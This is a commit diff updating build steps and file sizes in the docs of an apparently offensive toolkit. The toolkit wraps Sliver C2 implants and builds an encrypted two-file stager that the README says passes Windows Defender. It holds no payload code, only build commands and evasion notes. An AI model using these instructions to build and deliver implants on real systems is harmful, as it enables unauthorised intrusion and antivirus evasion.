docs: fix stale sizes, add missing crystal-exec build step

- Add `make -C crystal-exec all` to README quick build, RUNBOOK Phase 1.1
  build steps, and quick smoke test — without it pack-extension.sh fails
  because crystal-exec.x64.dll is missing from the tarball
- Update crystal-loader.x64.dll verified size: 114 KB → ~232 KB (grew after
  post-ex ExitThread and loader fixes were merged)
- Add crystal-exec.x64.dll verified size: ~328 KB (was undocumented)
- Fix stager "~60 KB" placeholder in bundle-stager.sh and stager/Makefile:
  actual built size is ~17 KB
- RUNBOOK Phase 1.1: add explicit note that both DLLs must exist before
  running pack-extension.sh

README.md

@@ -121,6 +121,7 @@ make -C crystal-kit-sliver/loader all
 make -C crystal-kit-sliver/postex-loader all
 make -C crystal-kit-sliver/sliver-glue/wrapper all
 make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
+make -C crystal-kit-sliver/sliver-glue/crystal-exec all
 
 # 4. Use case A — wrap a Sliver implant and build the stager
 ./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
@@ -153,7 +154,7 @@ See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener
 | Crystal Palace CLI verified | OK | `./link <spec> <dll> <out.bin> [%KEY=value]` — positional, documented in `dist/README` |
 | End-to-end PICO build (Use case A) | OK | 117 KB PICO produced from test DLL |
 | End-to-end PICO build (Use case B) | OK | 111 KB PICO produced via `postex-loader/loader.spec` |
-| Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol |
+| Sliver Extension wrapper DLL builds | OK | `crystal-loader.x64.dll` ~232 KB, `crystal-exec.x64.dll` ~328 KB — both PE32+ exporting `go` symbol |
 | Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` |
 | Custom stager build (two-file delivery) | OK | `bundle-stager.sh` → `csvchelper.exe` (17 KB, entropy 4.784) + `payload.dat` (AES-256-CBC) |
 | Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM; stager passes Defender (Wacatac.B!ml + ZomBytes.B) |

crystal-kit-sliver/sliver-glue/bundle-stager.sh

@@ -3,7 +3,7 @@
 # bundle-stager.sh — build the two-file Crystal Palace stager
 #
 # Outputs two files that must be delivered together:
-#   stager.exe    — small loader (~60 KB), reads payload.dat and executes PICO
+#   stager.exe    — small loader (~17 KB), reads payload.dat and executes PICO
 #   payload.dat   — AES-256-CBC encrypted PICO (opaque binary, no PE patterns)
 #
 # Evasion improvements over run.x64.exe / single-file embedded approach:

crystal-kit-sliver/sliver-glue/stager/Makefile

@@ -5,7 +5,7 @@
 #   make PICO=/path/to/implant.crystal.bin OUTPUT=/path/to/stager.exe
 #
 # Outputs:
-#   <OUTPUT>              stager EXE (~60 KB, no embedded payload)
+#   <OUTPUT>              stager EXE (~17 KB, no embedded payload)
 #   $(dir <OUTPUT>)/payload.dat   AES-256-CBC encrypted PICO
 
 CC      := x86_64-w64-mingw32-gcc

docs/RUNBOOK.md

@@ -104,13 +104,19 @@ Goal: prove that the `crystal-loader.x64.dll` Sliver Extension loads inside the
 cd crystal-kit-sliver/sliver-glue
 make -C wrapper all
 make -C wrapper smoketest
+make -C crystal-exec all
 ./pack-extension.sh
 ls -la build/
 ```
 
-Expected files:
+`pack-extension.sh` requires **both** DLLs to exist before it runs:
+- `crystal-loader.x64.dll` — provides the `crystal` command
+- `crystal-exec.x64.dll` — provides the `crystal-exec` command
 
-- `crystal-loader.x64.dll` (~114 KB, in `sliver-glue/` parent)
+Expected files after the above:
+
+- `crystal-loader.x64.dll` (~232 KB, in `sliver-glue/` parent)
+- `crystal-exec.x64.dll` (~328 KB, in `sliver-glue/` parent)
 - `build/smoketest.bin` (3 bytes: `31 c0 c3` = `xor eax,eax; ret`)
 - `build/crystal-loader-0.1.0.tar.gz` (~37 KB)
 
@@ -445,6 +451,7 @@ make -C crystal-kit-sliver/loader all
 make -C crystal-kit-sliver/postex-loader all
 make -C crystal-kit-sliver/sliver-glue/wrapper all
 make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
+make -C crystal-kit-sliver/sliver-glue/crystal-exec all
 
 echo "" > /tmp/empty.args
 ./crystal-kit-sliver/sliver-glue/generate.sh \

docs/TOOLCHAIN.md

@@ -95,7 +95,7 @@ LDFLAGS := -shared -Wl,--subsystem,windows
 $(CC_64) $(CFLAGS) crystal-loader.c beacon_compatibility.c -o ../crystal-loader.x64.dll $(LDFLAGS)
 ```
 
-**Verified output:** 114051 bytes, PE32+ x86-64, exports symbol `go`.
+**Verified output:** ~232 KB, PE32+ x86-64, exports symbol `go`.
 
 A smoke test shellcode (`smoketest.asm`) builds in parallel:
 
@@ -135,7 +135,7 @@ Key design constraints:
 - `crystal-exec.c` (the Sliver extension itself) may use CRT normally — it runs in the normal process context, not inside the PICO loader
 - Single callback model: all output accumulates into a heap buffer; exactly ONE `callback(buf, len)` call at the very end. Sliver extension loaders only display the first callback invocation — any subsequent calls are silently dropped.
 
-**Verified output:** `crystal-exec.x64.dll` — PE32+ x86-64, exports symbol `go`.
+**Verified output:** `crystal-exec.x64.dll` — ~328 KB, PE32+ x86-64, exports symbol `go`.
 
 ### 3e. Custom stager — two-file delivery (Use case A Defender bypass)